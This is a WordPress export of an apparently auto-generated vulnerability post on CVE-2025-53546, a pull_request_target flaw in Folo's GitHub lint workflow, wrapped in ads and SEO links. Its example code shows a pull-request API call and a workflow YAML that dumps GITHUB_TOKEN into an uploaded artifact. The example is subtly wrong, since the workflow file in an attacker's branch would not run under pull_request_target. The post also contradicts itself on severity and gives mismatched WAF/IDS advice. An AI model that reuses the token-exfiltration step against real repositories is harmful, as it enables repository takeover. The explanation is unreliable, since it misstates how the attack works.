{"id":59413,"date":"2025-07-16T02:21:31","date_gmt":"2025-07-16T02:21:31","guid":{"rendered":""},"modified":"2025-09-29T02:50:41","modified_gmt":"2025-09-29T08:50:41","slug":"cve-2025-53546-high-severity-vulnerability-in-folo-s-github-workflow","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53546-high-severity-vulnerability-in-folo-s-github-workflow\/","title":{"rendered":"<strong>CVE-2025-53546: High Severity Vulnerability in Folo&#8217;s GitHub Workflow<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-53546 is a critical cybersecurity vulnerability that directly affects the secure functioning of Folo, a service that organizes feeds content into a single timeline. It is of significant importance due to the potential damage it can inflict on the security of repositories and the sensitive data they contain. The vulnerability resides in the improper use of pull_request_target on the .github\/workflows\/auto-fix-lint-format-commit.yml file, which, if exploited, can lead to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4855-unauthorized-access-vulnerability-in-support-board-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"70975\">unauthorized access<\/a> and manipulation of the base repository.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-53546<br \/>\nSeverity: High (9.1 CVSS Severity Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27050-memory-corruption-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"74845\">System compromise and potential data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2847782327\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Folo | All <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55010-arbitrary-php-object-instantiation-in-kanboard-prior-to-version-1-2-47\/\"  data-wpil-monitor-id=\"78000\">versions prior<\/a> to commit 585c6a591440cd39f92374230ac5d65d7dd23d6a<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability stems from the misuse of the pull_request_target within the github\/workflows\/auto-fix-lint-format-commit.yml file. This misuse <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52688-critical-vulnerability-allowing-root-command-injection-on-access-point\/\"  data-wpil-monitor-id=\"70976\">allows an attacker to execute untrusted code with full access<\/a> to secrets from the base repository. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42959-unauthenticated-replay-attack-exploiting-hmac-reuse\/\"  data-wpil-monitor-id=\"74846\">attacker can exploit<\/a> this vulnerability to exfiltrate the GITHUB_TOKEN, which has high privileges including content write privileges, leading to a complete takeover of the repository.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3029748691\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual representation of how an attacker might exploit this vulnerability. The attacker creates a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8714-critical-postgresql-vulnerability-allowing-malicious-code-injection-by-superusers\/\"  data-wpil-monitor-id=\"80738\">malicious pull request that includes code<\/a> to export the GITHUB_TOKEN:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/repos\/:owner\/:repo\/pulls HTTP\/1.1\nHost: api.github.com\nContent-Type: application\/json\nAuthorization: Bearer [attacker&#039;s personal access token]\n{\n&quot;title&quot;: &quot;Fix lint errors&quot;,\n&quot;head&quot;: &quot;attacker:fix-lint-errors&quot;,\n&quot;base&quot;: &quot;master&quot;,\n&quot;body&quot;: &quot;This PR fixes some lint errors. Please merge it.&quot;,\n&quot;maintainer_can_modify&quot;: true\n}<\/code><\/pre>\n<p>In the attacker&#8217;s branch (attacker:fix-lint-errors), the .github\/workflows\/auto-fix-lint-format-commit.yml <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54444-unrestricted-file-upload-leading-to-code-injection-in-samsung-electronics-magicinfo-9-server\/\"  data-wpil-monitor-id=\"70977\">file will contain malicious code<\/a> to exfiltrate the GITHUB_TOKEN:<\/p>\n<pre><code class=\"\" data-line=\"\">name: &quot;Auto fix lint and format commit&quot;\non:\npull_request_target:\ntypes: [opened, synchronize, reopened]\njobs:\nfix:\nruns-on: ubuntu-latest\nsteps:\n- name: Checkout code\nuses: actions\/checkout@v2\n- name: Export GITHUB_TOKEN\nrun: echo &quot;GITHUB_TOKEN=$GITHUB_TOKEN&quot; &gt; secrets.txt\n- name: Upload secrets\nuses: actions\/upload-artifact@v2\nwith:\nname: secrets\npath: secrets.txt<\/code><\/pre>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The vulnerability is fixed in commit 585c6a591440cd39f92374230ac5d65d7dd23d6a. It is strongly recommended for all Folo users to update their <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54742-data-deserialization-vulnerability-in-wpevently-leading-to-possible-system-compromise\/\"  data-wpil-monitor-id=\"86490\">systems to this commit or later as soon as possible<\/a>. In the meantime, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) for temporary mitigation.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-53546 is a critical cybersecurity vulnerability that directly affects the secure functioning of Folo, a service that organizes feeds content into a single timeline. It is of significant importance due to the potential damage it can inflict on the security of repositories and the sensitive data they contain. The vulnerability resides in the improper [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[79,88],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59413","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-github","vendor-linux"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59413","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=59413"}],"version-history":[{"count":5,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59413\/revisions"}],"predecessor-version":[{"id":79276,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59413\/revisions\/79276"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=59413"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=59413"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=59413"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=59413"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=59413"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=59413"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=59413"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=59413"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=59413"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}